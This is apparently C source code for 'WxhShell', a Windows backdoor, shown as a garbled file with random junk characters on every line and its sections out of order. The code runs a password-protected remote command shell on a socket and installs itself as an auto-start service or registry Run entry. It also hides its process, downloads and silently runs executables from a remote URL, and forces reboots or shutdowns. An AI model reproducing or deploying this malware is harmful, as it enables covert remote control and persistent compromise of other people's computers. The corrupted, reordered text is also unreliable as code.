    if(Boot(SHUTDOWN)) ]7J*(,sp  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /A1qTG=Br  
    else { cd]def[d  
    closesocket(wsh); A&L2&ofV&q  
    ExitThread(0); Wh^wKF~%  
    } ewVks>lbz  
    break; kWbD?i-  
    } )W |_f  
  // 获取shell _FP'SVa}D  
  case 's': { Eu`K2_b  
    CmdShell(wsh); .RN2os{  
    closesocket(wsh); O>[B"mM t  
    ExitThread(0); rH9[x8e  
    break; y@9ifFr  
  } j71RlS73  
  // 退出 = PIarUJ  
  case 'x': { )Ag{S[yZ  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); _l=X?/  
    CloseIt(wsh); a 3C\?5  
    break; $aDkZj  
    } Y%Tm `$^V  
  // 离开 DT3koci(  
  case 'q': { (\H^ KEy  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); |Pq z0n=v  
    closesocket(wsh); M sQ=1  
    WSACleanup(); 1)J' pDa  
    exit(1); ,$bK)|pGV  
    break; wG X\ub#!  
        } Mu/hTTiNx  
  } {\55\e/C,  
  } AYv7- !Yk  
^ wb9n  
  // 提示信息 csj 4?]gI  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); jO}<W1qy  
} b] ~  
  } yeIc Q%  
1ZO/R%[  
  return; Ti$_V_  
} pZ5eGA=  
. H9a  
// shell模块句柄 2q ~y\fe  
int CmdShell(SOCKET sock) \CrWKBL  
{ .4XX )f5  
STARTUPINFO si; \?"p]&2UcB  
ZeroMemory(&si,sizeof(si)); tC\(H=ecP  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; lS/l iI'Y  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; U:uF rb,  
PROCESS_INFORMATION ProcessInfo; WB3YN+Xl3  
char cmdline[]="cmd"; (lt{$0   
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 0,j!*  
  return 0; e@{Rlz   
} t4<+]]   
Bb.U4#  
// 自身启动模式 C=`MzZbJ  
int StartFromService(void) GuKiNYI_  
{ d$:LUxM#  
typedef struct  =h|xlT  
{ }-~LXL%!3  
  DWORD ExitStatus; ="de+S8W  
  DWORD PebBaseAddress; c{[lT2yxU  
  DWORD AffinityMask; ?<1~KLPMhY  
  DWORD BasePriority; c+501's  
  ULONG UniqueProcessId; ]MnQ3bWq"j  
  ULONG InheritedFromUniqueProcessId; $Z<x r  
}   PROCESS_BASIC_INFORMATION; C sCH :>  
:H>0/^Mg0  
PROCNTQSIP NtQueryInformationProcess; /]-a 1  
}70A>JBw  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ^J)0i_RS  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; '3fN2[(  
F h+g@ u6  
  HANDLE             hProcess; ^xQPj6P}  
  PROCESS_BASIC_INFORMATION pbi; =Y5_@}\0  
_ O;R  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); \ `R8s_S  
  if(NULL == hInst ) return 0; Fb6d1I^wR  
#~[{*[B+  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ^Vg-fO]V  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); xB5QM #w\  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); t"P:}ps{?  
+aN"*//i  
  if (!NtQueryInformationProcess) return 0; vQy+^deW  
z/wwe\ a5  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 3L9@ELY4  
  if(!hProcess) return 0; /6:qmh2  
:D~J(Y2  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; j+("4b'  
2^y*O  
  CloseHandle(hProcess); 2YK2t<EO  
'oF XNO  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); y7x*:xR[  
if(hProcess==NULL) return 0; \|CuTb;0  
>Q:h0b_$U  
HMODULE hMod; =k5O*ql"  
char procName[255]; yw >Frb5p  
unsigned long cbNeeded; ijgm-1ECk3  
myF/_o&Ty  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 1 0^FfwRfM  
Z29aRi  
  CloseHandle(hProcess); (XEJd4r  
m .R**g  
if(strstr(procName,"services")) return 1; // 以服务启动 38GZ_ z}r  
._q<~_~R  
  return 0; // 注册表启动 mDO! o  
} .R)uk  
a\}` f=T  
// 主模块 kW=!RX[&  
int StartWxhshell(LPSTR lpCmdLine) Q 3/J @MC  
{ ?C']R(fQ\  
  SOCKET wsl; `><E J'h  
BOOL val=TRUE; D"exI]  
  int port=0; }b]eiPWN  
  struct sockaddr_in door; L%+mD$@u  
yW&ka3j\  
  if(wscfg.ws_autoins) Install(); ""*g\  
g.\%jDM  
port=atoi(lpCmdLine); t%StBq(q  
a'A<'(yv  
if(port<=0) port=wscfg.ws_port; w~yC^`  
[&kz4_  
  WSADATA data; 0 {  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; p(nEcu  
"C?H:8W  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   @9R78Zra  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); )S;3WnQ)  
  door.sin_family = AF_INET; txE+A/>i9  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); :(@P *"j  
  door.sin_port = htons(port); )_Z^oH ]<  
0o:R:*  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { "BZ@m:I6hy  
closesocket(wsl); 3O;"{E= <  
return 1; }Rw6+;  
} X4{<{D`0t8  
S&QXf<v  
  if(listen(wsl,2) == INVALID_SOCKET) { BWNI|pq)v  
closesocket(wsl); SM8_C!h:  
return 1; >GLoeCRNu  
} cICf V,j  
  Wxhshell(wsl); <@Vf:`a!P>  
  WSACleanup(); J4@-?xj=\q  
zQ#* O'-n  
return 0; I?^(j;QpS  
.h\Py[h<^  
} 7D1$cmtH  
V7.g,  
// 以NT服务方式启动 u:mndTpB6x  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) M93*"jA  
{ G4&?O_\;  
DWORD   status = 0; U`5/tNx  
  DWORD   specificError = 0xfffffff; \>G}DGz  
|* ^LsuFb  
  serviceStatus.dwServiceType     = SERVICE_WIN32; _GrifGU\  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; [P6m8%Y|s  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; p_X{'=SQ1  
  serviceStatus.dwWin32ExitCode     = 0; m)3M)8t  
  serviceStatus.dwServiceSpecificExitCode = 0; K/j u=>  
  serviceStatus.dwCheckPoint       = 0; OzwJ 52  
  serviceStatus.dwWaitHint       = 0; <fF|AbC:  
noM=8C&U  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 1vxQ`)a  
  if (hServiceStatusHandle==0) return; o\]U;#YD  
]^T-X/v9  
status = GetLastError(); `oH4"9&]k3  
  if (status!=NO_ERROR) SN]g4}K-  
{ Ln t 1  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; lRNm &3:-  
    serviceStatus.dwCheckPoint       = 0; iQS,@6  
    serviceStatus.dwWaitHint       = 0; )WInPW  
    serviceStatus.dwWin32ExitCode     = status; o8|qT)O@U  
    serviceStatus.dwServiceSpecificExitCode = specificError; v$w}UC%uf  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]:b52Z  
    return; b*H*(}A6"'  
  } g7a446QR\K  
h(<>s#=E  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; IvlfX`("  
  serviceStatus.dwCheckPoint       = 0; <i]0EE}%  
  serviceStatus.dwWaitHint       = 0; T\g+w\N  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); S[zGA<}  
} e([>sAx!1  
nO!&;E&  
// 处理NT服务事件,比如:启动、停止 "j8)l4}  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ,B_c  
{ N-_APWA  
switch(fdwControl) K&Bbjb_|  
{ Em^~OM3U$q  
case SERVICE_CONTROL_STOP: M=lU`Sm  
  serviceStatus.dwWin32ExitCode = 0; .a7RGT3]m  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; C=]<R< Xy  
  serviceStatus.dwCheckPoint   = 0; >TY;l3ew  
  serviceStatus.dwWaitHint     = 0; _U-`/r o  
  { 9} m?E<6&  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); GBT|1c'i  
  } ! |UX4  
  return; X^K^az&L  
case SERVICE_CONTROL_PAUSE: /t`\b [  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; cz{`'VN}`  
  break; {\CWoFht>  
case SERVICE_CONTROL_CONTINUE: ft1#f@b.  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; "lLh#W1d  
  break; n6+h;+8;]  
case SERVICE_CONTROL_INTERROGATE: T!ZjgCY}  
  break;  WZY+c  
}; (RV#piM  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); >}%#s`3W1_  
} AvB=/p@]  
IZ7o6Etti  
// 标准应用程序主函数 _ +NjfF|  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 2#sFY/@  
{ [DH4iG5  
$ P 5K   
// 获取操作系统版本  Pd\4hy  
OsIsNt=GetOsVer(); Fa[^D~$l*  
GetModuleFileName(NULL,ExeFile,MAX_PATH); )Uy%iE*  
!Q15qvRS  
  // 从命令行安装 *DC/O( 0  
  if(strpbrk(lpCmdLine,"iI")) Install(); ]& ckq  
lnHY?y7{  
  // 下载执行文件 peBHZJ``RX  
if(wscfg.ws_downexe) { #qY gQ<TM!  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) PA ?2K4  
  WinExec(wscfg.ws_filenam,SW_HIDE); <%Nf"p{K  
} 7Q9Hk(Z9  
OKlR`Vaty  
if(!OsIsNt) { D 5n\h5  
// 如果时win9x,隐藏进程并且设置为注册表启动 W"\}##  
HideProc(); fmj}NV&ma  
StartWxhshell(lpCmdLine); =eUKpYI  
} 5X=1a*2']  
else Zk((VZ(y  
  if(StartFromService()) }P0bNY5?%  
  // 以服务方式启动 [,,@>nyD  
  StartServiceCtrlDispatcher(DispatchTable); F |BY]{  
else QK[^G6TI  
  // 普通方式启动 8wvHg_U6W  
  StartWxhshell(lpCmdLine); R/Bjc}J'  
ch]Qz[d  
return 0; ;mQ|+|F6X  
} w01[oU$x=  
?Y3i-jY  
%W\NYSm  
L%/>Le}VX  
=========================================== :?\29j#*V  
x-k-Pd  
eN.6l2-  
CLzF84@W=  
9dNkKMc@  
A;Y~Hu4KPZ  
" o #\L4P(J  
i@nRZ$K  
#include <stdio.h> '1LN)Yw  
#include <string.h> s_/@`kd{  
#include <windows.h> nUpj+F#  
#include <winsock2.h> @2hhBW  
#include <winsvc.h> DSqA}r  
#include <urlmon.h> O=7S=Rm4&  
d9:I.SA)E  
#pragma comment (lib, "Ws2_32.lib") 1[O cZ CS  
#pragma comment (lib, "urlmon.lib") F$tzsz,9n  
gi,7X\`KQ  
#define MAX_USER   100 // 最大客户端连接数 -d'F KOD  
#define BUF_SOCK   200 // sock buffer r4/b~n+*  
#define KEY_BUFF   255 // 输入 buffer G<-KwGy,D  
4)tY6ds)r|  
#define REBOOT     0   // 重启 t;VMtIW+E  
#define SHUTDOWN   1   // 关机 E/oLE^yL  
"=s}xAM|A  
#define DEF_PORT   5000 // 监听端口 DCiU?u~  
i*N2@Z[  
#define REG_LEN     16   // 注册表键长度 i=#\`"/  
#define SVC_LEN     80   // NT服务名长度 vc|tp_M67  
,dQ*0XO!  
// 从dll定义API wE.jf.q  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); q;nAq%  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 13/,^?  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ffL]_E  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); )yb~ kbe  
mvT /sC7I  
// wxhshell配置信息 ~3j +hN8<  
struct WSCFG {  ,c`6-  
  int ws_port;         // 监听端口 {z_cczJ-  
  char ws_passstr[REG_LEN]; // 口令 /ojwOJ  
  int ws_autoins;       // 安装标记, 1=yes 0=no a. D cmy{  
  char ws_regname[REG_LEN]; // 注册表键名 W?zj^y[w  
  char ws_svcname[REG_LEN]; // 服务名 j:1N&7<FU  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 6/L[`n"G  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 _VdJFjY?zc  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Z72%Bv  
int ws_downexe;       // 下载执行标记, 1=yes 0=no c!6v-2ykv  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" P?>:YY53  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 yOlVS@7  
]@z!r2[  
}; &77J,\C$:  
w,j!%N  
// default Wxhshell configuration N7"cMAs\G  
struct WSCFG wscfg={DEF_PORT, 2Xv}JPS2As  
    "xuhuanlingzhe", >x6\A7  
    1, t=Rl`1 =(K  
    "Wxhshell", Pzzzv^+  
    "Wxhshell", 4K:Aqqhds  
            "WxhShell Service", Cj~e` VRhk  
    "Wrsky Windows CmdShell Service", W895@  
    "Please Input Your Password: ", e"^WXP.t&  
  1, h!(# /  
  "http://www.wrsky.com/wxhshell.exe", 6)YckxN^  
  "Wxhshell.exe" !1R?3rVQS  
    }; /1/'zF&R-  
G2wSd'n*y  
// 消息定义模块 0N!rIz  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ',[AKXJ  
char *msg_ws_prompt="\n\r? for help\n\r#>"; h& 4#5{=  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ZK t{3P  
char *msg_ws_ext="\n\rExit."; B]yO  
char *msg_ws_end="\n\rQuit."; THOYx :Nr;  
char *msg_ws_boot="\n\rReboot..."; uaP5(hUI  
char *msg_ws_poff="\n\rShutdown..."; nX7F<k4G2  
char *msg_ws_down="\n\rSave to "; -2}ons(  
y{(Dv}   
char *msg_ws_err="\n\rErr!"; j07A>G-=  
char *msg_ws_ok="\n\rOK!"; Cd^1E]O0{  
!U4YA1>>  
char ExeFile[MAX_PATH]; g/$RuT2U  
int nUser = 0; qmn l  
HANDLE handles[MAX_USER]; 8SroA$^n  
int OsIsNt; "kcix!}&  
[Y`E"1f2  
SERVICE_STATUS       serviceStatus; lQ^"-zO4  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; *N ~'0"#  
=jm\8sl~~  
// 函数声明 Ew.6y=Ba  
int Install(void); #lMIs4i.  
int Uninstall(void); eVMnI yr  
int DownloadFile(char *sURL, SOCKET wsh); ]:F !h2  
int Boot(int flag); Xl<*Fn?  
void HideProc(void); @Zhd/=2[  
int GetOsVer(void); t;3).F  
int Wxhshell(SOCKET wsl); e@O]c "  
void TalkWithClient(void *cs); 5.\|*+E~  
int CmdShell(SOCKET sock); 9f& !Uw_W  
int StartFromService(void); X*7VDt=  
int StartWxhshell(LPSTR lpCmdLine); ,tZL"  
EY)?hJS,  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); n|H8O3@  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 0[Yks NNl1  
fA1{-JzV<4  
// 数据结构和表定义 VPO~veQ  
SERVICE_TABLE_ENTRY DispatchTable[] = PQ_A^95  
{ AwuhF PG  
{wscfg.ws_svcname, NTServiceMain}, w#BT/6W&G  
{NULL, NULL} OD Ry  
}; 2H8\P+  
cna%;f.  
// 自我安装 M).CyY;bm  
int Install(void) Zr6.Nw  
{ g*_n|7pB  
  char svExeFile[MAX_PATH]; }vP(SF 6  
  HKEY key; O`_, _  
  strcpy(svExeFile,ExeFile); )j}#6r  
)J yB  
// 如果是win9x系统,修改注册表设为自启动 LrdED[Z  
if(!OsIsNt) { @6!Myez'  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ryz NM3  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); iSOyp\E|  
  RegCloseKey(key); _XT;   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 2Gj)fMK38  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 4,YL15.  
  RegCloseKey(key); A[fTpS~~%  
  return 0; hDg"?{  
    } `DGI|3  
  } (ruMOKW  
} Ke#Rkt  
else { C %j%>X`  
b$ 8R  
// 如果是NT以上系统,安装为系统服务 W%&s$b(  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ?%ltoezf  
if (schSCManager!=0) X<W${L$G  
{ b ~]v'|5[  
  SC_HANDLE schService = CreateService V4Qy^nn1  
  ( "85)2*+  
  schSCManager, e1V1Ae  
  wscfg.ws_svcname, qOQ8a:]?  
  wscfg.ws_svcdisp, H;AMRL o4z  
  SERVICE_ALL_ACCESS, ]d{lS&PRlg  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Wzff p}V  
  SERVICE_AUTO_START, "Il) _Ui  
  SERVICE_ERROR_NORMAL, i;qij[W.z  
  svExeFile, u+6L>7t88I  
  NULL, 5mL4Zq"  
  NULL, *(wxNsK  
  NULL, Ue`Y>T7+!  
  NULL, vaVV 1  
  NULL g%ys|  
  ); ~-sG&u>  
  if (schService!=0) e*I92  
  { iW9  
  CloseServiceHandle(schService); 5TeGdfu @  
  CloseServiceHandle(schSCManager); rkdA4'66w  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); M djxTr^  
  strcat(svExeFile,wscfg.ws_svcname); N<KsQsy=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { `|92!Ej  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ;1_3E2E$  
  RegCloseKey(key); Fwvc+ a  
  return 0; Tk 'Pv  
    } ;>5]KNj  
  } Dequ'  
  CloseServiceHandle(schSCManager); uB6Mj dp6  
} ?djH!  
} I^n,v) 8  
JXt_  
return 1; Ck m:;q  
} aehB,l0  
_T805<aUW\  
// 自我卸载 %'X7T^uE  
int Uninstall(void) k7sD"xR3  
{ dxS5-aWy9w  
  HKEY key; Cd6th F)  
33~8@]b  
if(!OsIsNt) { z'O+B}  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ;Vf{3  
  RegDeleteValue(key,wscfg.ws_regname); 5vS[{;<&  
  RegCloseKey(key); rY@9nQ\>g  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Pv)^L  
  RegDeleteValue(key,wscfg.ws_regname); N<Ym&$xR  
  RegCloseKey(key); L0{ [L  
  return 0; )3 f\H  
  } w|0:0Rc~u  
} z/WGL  
} X -=M>H^  
else { u35"oLV6}#  
DV>;sCMJ %  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); LU@1Gol  
if (schSCManager!=0) f+)LVT8p  
{ nq+6ipx  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); =E(ed,gH8  
  if (schService!=0) oSYbx:2wo  
  { JIYzk]Tj  
  if(DeleteService(schService)!=0) { 68<W6z  
  CloseServiceHandle(schService); _sL;E<)y(  
  CloseServiceHandle(schSCManager); U(OkTJxv+  
  return 0; tef>Py  
  } D=.Ob<m`Z  
  CloseServiceHandle(schService); k f|J  
  } i]@k'2N  
  CloseServiceHandle(schSCManager); NweGK  
} im)r4={ 9  
} P{J9#.Zq&s  
6V6Mo}QF s  
return 1; +o0yx U 7t  
} qM2m!  
5'`DrTOA  
// 从指定url下载文件 Nm-E4N#'i  
int DownloadFile(char *sURL, SOCKET wsh) 0;OZ|;Z  
{ ~Dw% d;  
  HRESULT hr; n\BV*AH  
char seps[]= "/"; */@I$*  
char *token; :hWG:`  
char *file; +^AAik<yl  
char myURL[MAX_PATH]; tqpi{e  
char myFILE[MAX_PATH]; 2#/sIu-L  
iO18FfM_  
strcpy(myURL,sURL); OJM2t`}_t  
  token=strtok(myURL,seps); k;SKQN  
  while(token!=NULL) [a~@6*=  
  { S+^hK1jL  
    file=token; *M>~$h7  
  token=strtok(NULL,seps); tuY= )?  
  } q& KNK  
OCCC' k  
GetCurrentDirectory(MAX_PATH,myFILE); y~M 6  
strcat(myFILE, "\\"); R,OT\FQ<  
strcat(myFILE, file); qa8?bNd'f  
  send(wsh,myFILE,strlen(myFILE),0); z?UEn#E2  
send(wsh,"...",3,0); D)S_ p&  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 9.#")%_p  
  if(hr==S_OK) WqCj;Tj|  
return 0; z  fy(j  
else CU*;>h1~u  
return 1; a6It1%a+  
{FILt3f;  
} ^ 6Yt2Bhs  
Y OvhMi  
// 系统电源模块 K05T`+N,  
int Boot(int flag) :RBeq,QaO  
{ 0Xn,q]@Z  
  HANDLE hToken; $d.Dk4.ed  
  TOKEN_PRIVILEGES tkp; |;p.!FO  
>dwWqcP  
  if(OsIsNt) { T5:xia>8O  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 8&qtF.i-6  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); <KoOJMx(  
    tkp.PrivilegeCount = 1; s8' ;4z  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; QXy= |  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); g$/7km{TP  
if(flag==REBOOT) { XSh [#qJ  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) P9q=tC3^  
  return 0; A.$P1zwC  
} :}gEt?TUhs  
else { 3m$Qd#|  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) >5 Y.  
  return 0; 'jy e*  
} axN\ZXU  
  } 5EECr \*  
  else { =OTu8_ d0t  
if(flag==REBOOT) { w:=:D=xH2  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) z;N`jqo   
  return 0; cXYE !(  
} oMoco tQ;$  
else { h1f 05  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) K<pZ*l  
  return 0; ^^a%Lz)U  
} tv: mjS  
} Z=a~0&G  
?<Mx*l  
return 1; z*cKH$':  
} _E/  
2dbn~j0  
// win9x进程隐藏模块 g\iSc~%?  
void HideProc(void) ;r.#|b  
{ 3'SN0VL  
6X4r2Vq  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); BD]o+96qP  
  if ( hKernel != NULL ) Ip *8R]W  
  { Ev3,p`zS._  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 7m:TY>{  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); nXjSf  
    FreeLibrary(hKernel); }n"gX>e~  
  } \}YAQ'T  
"QBl "<<s  
return; 0E{DO<~  
} 5Ux=5a  
GBT219Z@8  
// 获取操作系统版本 7=qvu&{  
int GetOsVer(void) 80Q%c(i  
{ 8CH9&N5W5t  
  OSVERSIONINFO winfo; aO bp"  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 9eR";Wm])  
  GetVersionEx(&winfo); ZQ-6n1O  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) n{M-t@r7  
  return 1; jBd=!4n  
  else k$kxw_N5d  
  return 0; n_wF_K\h  
} g(G$*#}o8A  
4i<GqG  
// 客户端句柄模块 `91Z]zGpU  
int Wxhshell(SOCKET wsl) 0vMKyT3 c  
{ D'^UZZlI^I  
  SOCKET wsh; .*z$vl  
  struct sockaddr_in client; _3#_6>=M  
  DWORD myID; :u)Qs#'29  
C]h_co2eI  
  while(nUser<MAX_USER) [<d_#(]h'  
{ H;ujB \+  
  int nSize=sizeof(client); ]Z52L`k  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); <Ynrw4[)t  
  if(wsh==INVALID_SOCKET) return 1; ][XCpJ)8  
Lg7dJnf  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); lAGntYv  
if(handles[nUser]==0) mXyg\5  
  closesocket(wsh); 0WyOORuK  
else 'QTa<Z)E  
  nUser++; pOj8-rr  
  } z.OJ1vY7  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); kL<HGQt  
%_~1(Glz  
  return 0; D z[ ,;  
} P0k.\8qz  
%zhSSB =BJ  
// 关闭 socket ZS`9r16@b  
void CloseIt(SOCKET wsh) xqauSW  
{ :b!&Xw$  
closesocket(wsh); : ?>yi7w  
nUser--; o>&-B.zq  
ExitThread(0); 5,\|XQA5!  
} |:SIyXGbY  
Ds{DVdqA$c  
// 客户端请求句柄 + +Eu.W;&#  
void TalkWithClient(void *cs)  RcZ&/MY  
{ n;QFy5HB8  
QT|\TplJt  
  SOCKET wsh=(SOCKET)cs; hZ')<@hNP  
  char pwd[SVC_LEN]; #T8PgmR  
  char cmd[KEY_BUFF]; r[#*..Y  
char chr[1]; -U;=]o1  
int i,j; Dv4 H^  
L D%SLJ:  
  while (nUser < MAX_USER) { 8?w#=@s  
DU-dIq i  
if(wscfg.ws_passstr) { Z@AN0?,`~o  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); @ *5+ZAF  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 162Dj$  
  //ZeroMemory(pwd,KEY_BUFF); hE'>8{  
      i=0; 0%yPuY>  
  while(i<SVC_LEN) { N,*'")k9  
`9A`pC  
  // 设置超时 AdzdYZiM_  
  fd_set FdRead; f9O_M1=|lo  
  struct timeval TimeOut; ^KV:.up6  
  FD_ZERO(&FdRead); c2]h.G83  
  FD_SET(wsh,&FdRead); QoMa+QTuc  
  TimeOut.tv_sec=8; +;bZ(_ohG  
  TimeOut.tv_usec=0; KbH|'/w  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); A[^k4 >  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); |`+ (O  
V|<'o<h8  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); m]}EVa_I`/  
  pwd=chr[0]; Bm6t f}8  
  if(chr[0]==0xd || chr[0]==0xa) { l vBcEg  
  pwd=0; 3w/z$bj  
  break; ( v$ i  
  } \)2'+R  
  i++; fe}RmnAC  
    } 0;%\L:,O  
N5tFEV'G  
  // 如果是非法用户,关闭 socket 4z^~,7J^  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Ij9=J1c4  
} 9QeBz`lm)  
yP34h*0B  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ~N )(|N  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); MYVb !  
1\/~>  
while(1) { SE$l,Z"[*b  
sBNqg~HwB?  
  ZeroMemory(cmd,KEY_BUFF); z*o2jz?t4  
U?Vik  
      // 自动支持客户端 telnet标准   aaI5x  
  j=0; d~T@fa  
  while(j<KEY_BUFF) { 6HH:K0j3'  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); eUD 5 V  
  cmd[j]=chr[0]; Wq<H sJd/  
  if(chr[0]==0xa || chr[0]==0xd) { gmOP8.g  
  cmd[j]=0; _9S"rH[  
  break; eGWwPSIp  
  } 52r\Q}v$  
  j++; f^Q)lIv  
    } 6~6 vwp  
Bo0T}P~  
  // 下载文件 T6\d]  
  if(strstr(cmd,"http://")) { .EjjCE/v-  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 6f+@@=Xc  
  if(DownloadFile(cmd,wsh)) G420o}q  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); V)I Tk \  
  else |w>d]eA5  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2TQ<XHA\  
  } r\q|DZ7  
  else { |}d+BD  
hKe ms3  
